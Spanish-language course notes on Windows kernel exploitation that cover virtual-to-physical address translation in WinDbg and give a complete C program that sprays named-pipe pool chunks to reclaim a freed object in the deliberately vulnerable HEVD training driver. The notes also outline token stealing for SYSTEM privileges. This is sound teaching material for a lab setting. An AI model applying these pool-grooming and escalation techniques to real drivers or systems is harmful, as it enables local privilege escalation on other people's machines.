Clase 4 — Traducción VA→PA y reclaim del UAF de HEVD con pipes NpFr¶
Resumen: La clase arranca con una demo corta de traducción de una dirección virtual a dirección física usando
!pte: leer el PTE, extraer el PFN, armar la physical address con el page offset y verificarla con comandos de memoria física (!db,!dq, etc.). Después se trabaja con una variante del exploit de Use-After-Free de HEVD que usa pipes como reclaimer: se crean muchos chunksNpFrdel mismo bucket que el objetoHack, se libera el objeto vulnerable y se fuerza que el chunk liberado sea reutilizado por NPFS. El objetivo de esta demo no es controlar RIP limpio, sino ver y entender el reuse del pool.
← Volver al Módulo 5 · ← Clase 3¶
Tabla de Contenidos¶
- Contexto de la clase
- Traducir virtual address a physical address con
!pte - Leer memoria física con comandos
!d* - Por qué importa la dirección física en explotación
- Demo principal — HEVD UAF reclaim con pipes
- Por qué el write size del pipe no es el chunk size final
- Estrategia de heap grooming del código
- Walkthrough en runtime con WinDbg
- Limitación clave — pipes sirven mejor para overflow que para este UAF
- Thread-name allocations como reclaimer alternativo
- De control parcial a read/write y escalada
- Análisis del código de referencia
- Código completo del demo
- Cheat sheet de la clase
1. Contexto de la clase¶
Se parte de una VM target con kernel debugging activo y HEVD cargado. La primera parte de la clase usa la base virtual de HEVD.sys como ejemplo para convertir una dirección virtual del kernel a memoria física.
La segunda parte retoma el Use-After-Free de HEVD visto en Clase 3, pero reemplaza el Allocate Fake Object del propio driver por un reclaimer externo: pipes. La idea es observar cómo el allocator reutiliza el chunk Hack liberado y lo transforma en un chunk NpFr.
Aclaración de acrónimos y tags¶
| Nombre | Significado | Qué es |
|---|---|---|
| NPFS | Named Pipe File System | El componente/driver de Windows que implementa los named pipes (npfs.sys). Cuando user-mode llama CreatePipe, CreateNamedPipe, ReadFile o WriteFile sobre pipes, esas operaciones terminan siendo manejadas por NPFS en kernel. |
| NpFr | NPFS pool tag asociado a buffers/fragmentos de pipe | Un pool tag que aparece en WinDbg para ciertas allocations internas de NPFS. No es una estructura pública del SDK: es una etiqueta de 4 bytes que permite reconocer que ese chunk del kernel pool pertenece a pipes. |
| PFN | Page Frame Number | Número de frame físico de una página. En !pte, el PFN permite armar la dirección física: (PFN << 12) | page_offset. |
| PTE | Page Table Entry | Entrada de tabla de páginas que describe cómo una virtual address se traduce a una physical address y con qué permisos. |
PFN en detalle¶
El PFN (Page Frame Number) es el número de la página física donde termina mapeando una virtual address. La memoria física se divide en páginas de 0x1000 bytes, entonces el PFN identifica qué página física es, pero no identifica el byte exacto dentro de esa página.
Para obtener la dirección física exacta se combinan dos partes:
| Parte | Sale de | Qué representa |
|---|---|---|
PFN << 12 |
PTE final | Base física de la página |
VA & 0xFFF |
Dirección virtual original | Offset dentro de esa página |
Fórmula:
Por eso en clase se dijo "agregar tres ceros" al PFN: desplazar 12 bits a la izquierda equivale a multiplicar por 0x1000. Después se reemplazan esos tres últimos hex digits por el offset original de la VA.
Ejemplo:
VA original: fffff805`12345678
page offset: 0x678
PFN obtenido: 0x1a2b3c
PFN << 12: 0x1a2b3c000
PA final: 0x1a2b3c678
Tags importantes para esta demo:
| Tag | Origen | Qué representa |
|---|---|---|
Hack |
HEVD | Objeto vulnerable alocado por el driver |
NpFr |
NPFS (npfs.sys) |
Chunk de NonPagedPool usado por pipes; en esta clase se usa para reclamar el chunk Hack liberado |
2. Traducir virtual address a physical address con !pte¶
El comando clave es:
Para una dirección de kernel no hay que cambiar de contexto: las direcciones kernel están mapeadas en todos los procesos. Para una dirección user-mode sí importa el proceso:
0: kd> .process /i <EPROCESS>
0: kd> g
0: kd> .reload /user
0: kd> db <user_va>
0: kd> !pte <user_va>
Workflow conceptual:
1. Leer bytes virtuales:
db <VA>
2. Pedir traducción:
!pte <VA>
3. Tomar el PFN del PTE final.
4. Calcular:
physical_page_base = PFN << 12
page_offset = VA & 0xFFF
PA = physical_page_base | page_offset
5. Verificar leyendo memoria física:
!db <PA>
El profesor lo explicó como "copiar el PFN, agregarle tres ceros y reemplazar los últimos tres hex digits por los últimos tres de la dirección virtual". Es la misma cuenta:
Ejemplo genérico:
Regla: No se "pegan ceros" porque sí; se arma la base física de la página y se conserva el offset de 12 bits de la dirección virtual original.
3. Leer memoria física con comandos !d*¶
En WinDbg, los comandos normales de dump leen memoria virtual:
Con ! adelante, los comandos de display memory leen memoria física:
Ejemplo con la base de HEVD:
0: kd> db <HEVD_base_va>
fffff805`.... 4d 5a 90 00 ...
0: kd> !pte <HEVD_base_va>
...
contains <PTE final con PFN>
0: kd> !db <physical_address_calculada>
00000001`.... 4d 5a 90 00 ...
Si la traducción está bien, los bytes coinciden. En el caso de un módulo PE como HEVD, los primeros bytes son:
MZ indica el header DOS de un ejecutable PE.
Caveat: No todos los comandos con
!tienen que ver con memoria física.!process,!pool,!handle,!pte, etc. son extension commands. La regla de "con!leo físico" aplica a los comandos de display memory como!db,!dq,!dd.
4. Por qué importa la dirección física en explotación¶
Normalmente los exploits kernel trabajan con direcciones virtuales. Pero hay drivers vulnerables que exponen primitivas sobre memoria física:
Si el driver vulnerable pide una physical address y el atacante quiere leer algo como un EPROCESS, primero necesita convertir:
Ejemplo de razonamiento:
1. Se obtiene/leakea la VA de un EPROCESS.
2. Con `!pte` o recorriendo tablas se obtiene el PFN.
3. Se arma la PA.
4. Se le pasa esa PA al driver vulnerable que dumpea memoria física.
5. Se recuperan campos del EPROCESS desde user-mode.
Esto aparece en bugs de drivers que mapean memoria física o exponen wrappers inseguros alrededor de APIs como MmMapIoSpace.
5. Demo principal — HEVD UAF reclaim con pipes¶
El objetivo del código de la clase:
1. Crear muchas allocations `NpFr` usando pipes.
2. Dejar huecos en el bucket correcto.
3. Alocar el objeto UAF de HEVD (`Hack`) dentro de uno de esos huecos.
4. Liberar el objeto HEVD, dejando el dangling pointer.
5. Crear más pipes para que un chunk `NpFr` reclame esa dirección.
6. Confirmar con `!pool` que la dirección vieja de `Hack` ahora pertenece a `NpFr`.
La limitación intencional del demo:
NPFS agrega metadata al inicio del chunk `NpFr`.
El primer qword del chunk no queda bajo control directo del usuario.
Por eso esta variante sirve para demostrar reuse/reclaim, pero no para controlar el callback de HEVD limpiamente cuando el callback está al comienzo del objeto.
6. Por qué el write size del pipe no es el chunk size final¶
En el código:
La intuición incorrecta sería:
Pero con pipes no funciona así. NPFS necesita metadata propia dentro del chunk. Entonces el tamaño que se pasa a WriteFile se combina con overhead interno:
En la clase:
WriteFile size 0x28 -> chunk final aprox. 0x60/0x70 en Win7 x64
WriteFile size 0x30 -> chunk final aprox. 0x70 en varias Win10/Win11
La forma correcta de ajustar esto no es memorizarlo, sino observar:
o usar PoolMonX para ver qué tamaño real produce cada write size.
7. Estrategia de heap grooming del código¶
El programa hace tres sprays:
| Fase | Count default | Marker | Objetivo |
|---|---|---|---|
defrag |
8000 |
0x44 (D) |
Llenar huecos previos del bucket |
seq |
16000 |
0x53 (S) |
Crear una zona densa de chunks NpFr |
reclaim |
8000 |
0x52 (R) |
Reocupar el chunk recién liberado de HEVD |
Flujo:
[2] Defrag spray
Llena huecos existentes para estabilizar el bucket.
[3] Sequential spray
Mete muchos chunks `NpFr` del mismo tamaño.
[4] Hole punching
Libera una pipe de cada dos.
[5] Allocate HEVD UAF object
El objeto `Hack` intenta caer en alguno de esos holes.
[6] Free HEVD UAF object
El chunk queda libre, pero la global de HEVD queda dangling.
[7] Reclaim spray
Pipes nuevas intentan ocupar el chunk `Hack` recién liberado.
[8] Trigger UAF
HEVD usa el dangling pointer; puede crashear porque el callback no está controlado limpio.
Visual:
Sequential spray:
[NpFr][NpFr][NpFr][NpFr][NpFr][NpFr]
Hole punching:
[FREE][NpFr][FREE][NpFr][FREE][NpFr]
HEVD allocate:
[Hack][NpFr][FREE][NpFr][FREE][NpFr]
HEVD free:
[FREE][NpFr][FREE][NpFr][FREE][NpFr]
^
dangling pointer de HEVD sigue apuntando acá
Reclaim spray:
[NpFr][NpFr][NpFr][NpFr][NpFr][NpFr]
^
la dirección vieja de Hack ahora es NpFr
8. Walkthrough en runtime con WinDbg¶
Antes de liberar¶
Después de ALLOCATE_UAF_OBJECT, el programa pausa:
Comandos:
Esperado:
Alrededor deberían aparecer varios NpFr:
Después del free¶
Luego de FREE_UAF_OBJECT:
Esperado:
El contenido del chunk puede seguir siendo parecido. free no significa que los bytes se borren inmediatamente; significa que el allocator puede reutilizar ese slot.
Después del reclaim spray¶
Después del spray reclaim:
Esperado:
y más adelante en el chunk deberían aparecer bytes 0x52 (R), porque el reclaim spray usa:
La dirección vieja de Hack ya no pertenece a HEVD. Ahora pertenece a NPFS.
Evitar BSoD al triggerear¶
El programa finalmente llama:
Como el primer campo no queda controlado limpiamente, puede terminar en un call rcx / call rax hacia basura. Para iterar sin reiniciar la VM, poner breakpoint en el call indirecto y saltearlo:
0: kd> u <UseUaFObject> L20
...
call rcx ; o call qword ptr [rax]
<next_instruction>
0: kd> bp <addr_del_call>
0: kd> g
; cuando breakea:
0: kd> r
0: kd> r rip = <next_instruction>
0: kd> g
Esto es solo para debugging. Para explotación real, eventualmente hay que dejar correr el path útil.
9. Limitación clave — pipes sirven mejor para overflow que para este UAF¶
En este UAF de HEVD, el campo crítico está al inicio:
Pero en un chunk NpFr, la primera parte es metadata de NPFS. El usuario controla el contenido más abajo, no el primer qword.
chunk NpFr:
+0x00 metadata NPFS / punteros internos <- no control limpio
+0x?? datos escritos con WriteFile <- controlado por user
Conclusión:
| Bug | Pipes como reclaimer |
|---|---|
UAF con callback/vtable en offset 0x00 |
Malo: el primer qword no queda controlado |
| UAF que usa campos más abajo | Puede servir, si el campo cae en zona controlada |
| Pool overflow | Muy bueno: se pueden poner pipes alrededor y corromper metadata/punteros de NpFr |
El profesor remarcó que para pool overflow los pipes son especialmente útiles: si el objeto vulnerable queda rodeado de chunks NpFr, el overflow puede pisar punteros internos de una pipe.
10. Thread-name allocations como reclaimer alternativo¶
Para UAFs donde se necesita controlar desde el inicio del chunk, una alternativa mencionada fue usar objetos asociados a threads:
1. Crear threads.
2. Guardar sus handles.
3. Cambiarles el nombre/descripción con una string larga.
4. El kernel aloca un chunk para esa string.
5. El contenido y tamaño son muy controlables.
Ventaja:
Desventaja:
Comparativa:
| Primitive | Control de contenido | Cantidad tolerable | Mejor uso |
|---|---|---|---|
Pipes NpFr |
Parcial: metadata al inicio | Muy alta | Pool grooming / overflow |
| Thread names | Mejor desde el inicio | Más limitada | UAF con callback al inicio |
11. De control parcial a read/write y escalada¶
La clase también deja planteada la idea de convertir corrupción de objetos en primitivas de lectura/escritura.
Con pipes, el caso conceptual es:
1. Un chunk `NpFr` contiene punteros internos a buffers/strings.
2. Un overflow pisa alguno de esos punteros.
3. Una API de pipe lee o escribe usando ese puntero.
4. El atacante convierte corrupción de puntero en read/write sobre direcciones kernel.
Con read/write kernel, el camino clásico de escalada:
1. Leer `EPROCESS` propio y `EPROCESS` de SYSTEM.
2. Leer el token de SYSTEM.
3. Escribirlo sobre el token del proceso actual.
4. Obtener SYSTEM.
Otra variante mencionada:
En lugar de reemplazar todo el token, se pueden habilitar privilegios como SeDebugPrivilege y después inyectar/abrir procesos privilegiados. En builds modernas hay varios campos relacionados con privilegios, por lo que hay que entender el layout exacto del _TOKEN del target.
También se mencionó la estrategia de saltar a gadgets o fragmentos de funciones existentes en kernel: si un UAF permite controlar registros/campos, puede buscarse una secuencia que haga una escritura útil sin ejecutar shellcode propio. Esto es importante porque ejecutar código propio en kernel moderno está cada vez más limitado por SMEP, SMAP, KASLR, kCFG, HVCI, etc.
12. Análisis del código de referencia¶
IOCTLs usados¶
#define IOCTL_ALLOCATE_UAF_OBJECT 0x222053
#define IOCTL_FREE_UAF_OBJECT 0x22205B
#define IOCTL_USE_UAF_OBJECT 0x222057
Estos son los IOCTLs del camino UaF NonPagedPoolNx en builds modernas de HEVD.
La variante clásica NonPagedPool puede usar:
FillPayload¶
static void FillPayload(BYTE* payload, DWORD size, BYTE marker) {
memset(payload, marker, size);
if (size >= 16) {
*(uint64_t*)(payload + 8) = 0x4E7046724E704672ULL; /* "rFpNrFpN" LE */
}
}
Llena el buffer con un marker (D, S, R) para poder reconocerlo en WinDbg. El qword en payload + 8 deja una marca relacionada con NpFr en little-endian para ubicar visualmente la zona controlada.
SprayOnePipe¶
Hace una unidad de spray:
1. Reserva payload en heap user-mode.
2. Lo llena con marker.
3. Crea un pipe con `CreatePipe`.
4. Escribe `writeSize` bytes con `WriteFile`.
5. No lee del pipe.
Punto clave:
Mientras los bytes quedan pendientes de lectura, NPFS mantiene una allocation `NpFr` en NonPagedPool.
SprayMany¶
Repite SprayOnePipe miles de veces. Guarda los handles para poder liberar selectivamente:
PunchEveryOtherHole¶
Libera una pipe de cada dos:
Esto crea holes en el bucket. No garantiza layout perfecto, pero aumenta la probabilidad de que el objeto Hack caiga cerca o dentro de la zona groomed.
CallIoctl¶
Wrapper para llamar los IOCTLs de HEVD sin input/output buffers:
Para esta demo alcanza porque los tres IOCTLs usados (allocate, free, use) no necesitan payload desde user-mode.
Parámetros por CLI¶
hevd_uaf_pipe_reclaim_demo.exe
hevd_uaf_pipe_reclaim_demo.exe 0x30
hevd_uaf_pipe_reclaim_demo.exe 0x30 8000 16000 8000
Formato:
argv[1] -> pipeWriteSize
argv[2] -> defrag count
argv[3] -> sequential count
argv[4] -> reclaim count
Esto permite ajustar el bucket sin recompilar.
13. Código completo del demo¶
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
/*
HEVD UAF NonPagedPoolNx - pipe/NpFr reclaim demo
Objetivo de esta version:
- usar pipes para crear allocations NpFr del mismo bucket que el objeto UAF
- liberar el objeto HEVD
- volver a ocupar el chunk libre con pipes
Limitacion intencional:
- NPFS pone metadata al inicio del chunk NpFr, asi que el primer qword no
queda bajo nuestro control directo como Callback.
- Esto sirve para demostrar reuse/reclaim del chunk, no control limpio de RIP.
*/
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
/* IOCTLs del camino UaF NonPagedPoolNx en builds modernas de HEVD. */
#define IOCTL_ALLOCATE_UAF_OBJECT 0x222053
#define IOCTL_FREE_UAF_OBJECT 0x22205B
#define IOCTL_USE_UAF_OBJECT 0x222057
/*
Si tu build usa el UaF NonPagedPool clasico, probablemente sean:
ALLOC 0x222013
USE 0x222017
FREE 0x22201B
*/
#define TARGET_POOL_CHUNK_SIZE 0x70
/*
Para un chunk total 0x70 con tag NpFr, el write suele ser 0x28 en Win7 x64
y 0x30 en varias builds Win10/Win11. Confirmalo con PoolMonX o !poolfind NpFr.
Uso:
hevd_uaf_pipe_reclaim_demo.exe
hevd_uaf_pipe_reclaim_demo.exe 0x30
*/
#define DEFAULT_PIPE_WRITE_SIZE 0x28
#define DEFAULT_DEFRAG_COUNT 8000
#define DEFAULT_SEQ_COUNT 16000
#define DEFAULT_RECLAIM_COUNT 8000
typedef struct _PIPE_PAIR {
HANDLE Read;
HANDLE Write;
} PIPE_PAIR;
static int IsValidHandle(HANDLE h) {
return h != NULL && h != INVALID_HANDLE_VALUE;
}
static void ClosePipePair(PIPE_PAIR* p) {
if (!p) {
return;
}
if (IsValidHandle(p->Read)) {
CloseHandle(p->Read);
}
if (IsValidHandle(p->Write)) {
CloseHandle(p->Write);
}
p->Read = INVALID_HANDLE_VALUE;
p->Write = INVALID_HANDLE_VALUE;
}
static void InitPipeArray(PIPE_PAIR* pipes, int count) {
for (int i = 0; i < count; i++) {
pipes[i].Read = INVALID_HANDLE_VALUE;
pipes[i].Write = INVALID_HANDLE_VALUE;
}
}
static void ClosePipeArray(PIPE_PAIR* pipes, int count) {
if (!pipes) {
return;
}
for (int i = 0; i < count; i++) {
ClosePipePair(&pipes[i]);
}
}
static void FillPayload(BYTE* payload, DWORD size, BYTE marker) {
memset(payload, marker, size);
if (size >= 8) {
memset(payload, marker, 8);
}
if (size >= 16) {
*(uint64_t*)(payload + 8) = 0x4E7046724E704672ULL; /* "rFpNrFpN" LE */
}
}
static BOOL SprayOnePipe(PIPE_PAIR* p, DWORD writeSize, BYTE marker) {
DWORD bytesWritten = 0;
BYTE* payload = NULL;
p->Read = INVALID_HANDLE_VALUE;
p->Write = INVALID_HANDLE_VALUE;
payload = (BYTE*)HeapAlloc(GetProcessHeap(), 0, writeSize);
if (!payload) {
printf("[!] HeapAlloc fallo para payload de 0x%lX bytes\n", writeSize);
return FALSE;
}
FillPayload(payload, writeSize, marker);
if (!CreatePipe(&p->Read, &p->Write, NULL, writeSize)) {
printf("[!] CreatePipe fallo: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, payload);
return FALSE;
}
/*
No leer del pipe. Mientras los bytes quedan pendientes, NPFS mantiene
una allocation NpFr en NonPagedPool.
*/
if (!WriteFile(p->Write, payload, writeSize, &bytesWritten, NULL) ||
bytesWritten != writeSize) {
printf("[!] WriteFile fallo: gle=%lu written=0x%lX expected=0x%lX\n",
GetLastError(), bytesWritten, writeSize);
ClosePipePair(p);
HeapFree(GetProcessHeap(), 0, payload);
return FALSE;
}
HeapFree(GetProcessHeap(), 0, payload);
return TRUE;
}
static int SprayMany(PIPE_PAIR* pipes, int maxCount, DWORD writeSize, BYTE marker, const char* label) {
int created = 0;
printf("[*] Spray %-8s count=%d writeSize=0x%lX marker=0x%02X\n",
label, maxCount, writeSize, marker);
for (int i = 0; i < maxCount; i++) {
if (!SprayOnePipe(&pipes[created], writeSize, marker)) {
printf("[!] Spray %s frenado en %d/%d\n", label, created, maxCount);
break;
}
created++;
if ((created % 2000) == 0) {
printf(" -> %d pipes\n", created);
}
}
printf("[+] Spray %-8s creado: %d pipes\n", label, created);
return created;
}
static int PunchEveryOtherHole(PIPE_PAIR* pipes, int count) {
int holes = 0;
printf("[*] Liberando una pipe de cada dos en el spray secuencial...\n");
for (int i = 0; i < count; i += 2) {
ClosePipePair(&pipes[i]);
holes++;
}
printf("[+] Holes creados: %d\n", holes);
return holes;
}
static BOOL CallIoctl(HANDLE hDevice, DWORD ioctl, const char* name) {
DWORD bytesReturned = 0;
BOOL ok;
SetLastError(0);
ok = DeviceIoControl(
hDevice,
ioctl,
NULL,
0,
NULL,
0,
&bytesReturned,
NULL
);
printf(" %-28s ioctl=0x%08lX -> %s br=%lu gle=%lu\n",
name, ioctl, ok ? "OK" : "FAIL", bytesReturned, ok ? 0 : GetLastError());
return ok;
}
static DWORD ParseDwordArg(char** argv, int argc, int index, DWORD fallback) {
char* end = NULL;
unsigned long value;
if (argc <= index) {
return fallback;
}
value = strtoul(argv[index], &end, 0);
if (!end || *end != '\0' || value == 0) {
return fallback;
}
return (DWORD)value;
}
int main(int argc, char** argv) {
HANDLE hDevice = INVALID_HANDLE_VALUE;
PIPE_PAIR* defrag = NULL;
PIPE_PAIR* sequential = NULL;
PIPE_PAIR* reclaim = NULL;
DWORD pipeWriteSize = ParseDwordArg(argv, argc, 1, DEFAULT_PIPE_WRITE_SIZE);
int defragTarget = (int)ParseDwordArg(argv, argc, 2, DEFAULT_DEFRAG_COUNT);
int seqTarget = (int)ParseDwordArg(argv, argc, 3, DEFAULT_SEQ_COUNT);
int reclaimTarget = (int)ParseDwordArg(argv, argc, 4, DEFAULT_RECLAIM_COUNT);
int defragCount = 0;
int seqCount = 0;
int reclaimCount = 0;
printf("============================================================\n");
printf(" HEVD UAF - NonPagedPool reclaim demo usando pipes / NpFr\n");
printf("============================================================\n");
printf("[*] Target HEVD chunk total esperado: 0x%X\n", TARGET_POOL_CHUNK_SIZE);
printf("[*] Pipe WriteFile size: 0x%lX\n", pipeWriteSize);
printf("[*] Counts: defrag=%d seq=%d reclaim=%d\n\n",
defragTarget, seqTarget, reclaimTarget);
printf("[1] Abriendo driver: %s\n", DEVICE_NAME);
hDevice = CreateFileA(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[!] No se pudo abrir el driver. gle=%lu\n", GetLastError());
printf(" Revisa nombre del device, servicio cargado y permisos admin.\n");
return 1;
}
defrag = (PIPE_PAIR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PIPE_PAIR) * defragTarget);
sequential = (PIPE_PAIR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PIPE_PAIR) * seqTarget);
reclaim = (PIPE_PAIR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PIPE_PAIR) * reclaimTarget);
if (!defrag || !sequential || !reclaim) {
printf("[!] No se pudo reservar memoria para arrays de handles.\n");
goto Cleanup;
}
InitPipeArray(defrag, defragTarget);
InitPipeArray(sequential, seqTarget);
InitPipeArray(reclaim, reclaimTarget);
printf("\n[2] Defrag spray: llenar huecos previos del bucket.\n");
defragCount = SprayMany(defrag, defragTarget, pipeWriteSize, 0x44, "defrag");
printf("\n[3] Sequential spray: crear una zona densa de chunks NpFr.\n");
seqCount = SprayMany(sequential, seqTarget, pipeWriteSize, 0x53, "seq");
printf("\n[4] Hole punching.\n");
PunchEveryOtherHole(sequential, seqCount);
printf("\n[5] Allocate HEVD UAF object. Deberia caer en algun hole 0x70.\n");
CallIoctl(hDevice, IOCTL_ALLOCATE_UAF_OBJECT, "ALLOCATE_UAF_OBJECT");
printf("\n[PAUSA] Mira DebugView/WinDbg para la direccion Hack si queres.\n");
printf(" Sugerido: !poolfind Hack -nonpaged ; !pool <addr>\n");
printf(" ENTER para liberar el objeto HEVD...\n");
getchar();
printf("\n[6] Free HEVD UAF object. El global queda dangling.\n");
if (!CallIoctl(hDevice, IOCTL_FREE_UAF_OBJECT, "FREE_UAF_OBJECT")) {
goto Cleanup;
}
printf("\n[7] Reclaim spray: pipes nuevas intentan ocupar el chunk recien liberado.\n");
reclaimCount = SprayMany(reclaim, reclaimTarget, pipeWriteSize, 0x52, "reclaim");
printf("\n[PAUSA] Ahora el chunk Hack liberado deberia haber sido reutilizado por NpFr.\n");
printf(" En WinDbg usa la direccion vieja de g_UseAfterFreeObject*:\n");
printf(" !pool <direccion_vieja>\n");
printf(" dq <direccion_vieja> L20\n");
printf(" Esperado: tag/tamano de NpFr y patron 0x52 mas adelante en el chunk.\n");
printf(" ENTER para llamar USE_UAF_OBJECT. Puede crashear por callback basura...\n");
getchar();
printf("\n[8] Trigger UAF. No esperamos control limpio de RIP con pipes solamente.\n");
CallIoctl(hDevice, IOCTL_USE_UAF_OBJECT, "USE_UAF_OBJECT");
printf("\n[!] Si volviste aca, no crasheo. Igual revisa WinDbg para confirmar reuse.\n");
Cleanup:
printf("\n[*] Cleanup\n");
ClosePipeArray(reclaim, reclaimCount);
ClosePipeArray(sequential, seqCount);
ClosePipeArray(defrag, defragCount);
if (reclaim) {
HeapFree(GetProcessHeap(), 0, reclaim);
}
if (sequential) {
HeapFree(GetProcessHeap(), 0, sequential);
}
if (defrag) {
HeapFree(GetProcessHeap(), 0, defrag);
}
if (hDevice != INVALID_HANDLE_VALUE) {
CloseHandle(hDevice);
}
return 0;
}
14. Cheat sheet de la clase¶
VA a PA¶
db <VA> ; leer virtual
!pte <VA> ; ver PTE y PFN
PA = (PFN << 12) | (VA & 0xFFF)
!db <PA> ; leer físico
!dq <PA> ; leer físico como qwords
User-mode VA¶
Pool / tags¶
Demo HEVD + pipes¶
ALLOCATE_UAF_OBJECT 0x222053
FREE_UAF_OBJECT 0x22205B
USE_UAF_OBJECT 0x222057
Defrag spray -> marker 0x44 ('D')
Sequential spray -> marker 0x53 ('S')
Reclaim spray -> marker 0x52 ('R')
Reglas de la clase¶
| Regla | Motivo |
|---|---|
!pte da el PFN; PFN + offset da la PA |
Traducción rápida sin recorrer tablas a mano |
!db / !dq leen memoria física |
Útil para verificar traducciones |
| El write size del pipe no es el chunk final | NPFS suma metadata y el allocator redondea |
NpFr demuestra reclaim, no RIP control limpio en este UAF |
El inicio del chunk no queda controlado por user |
| Pipes son muy buenos para pool overflow | Permiten rodear el objeto vulnerable con chunks manipulables |
Si el call indirecto crashea, saltear RIP durante debugging |
Evita reiniciar la VM mientras se estudia el layout |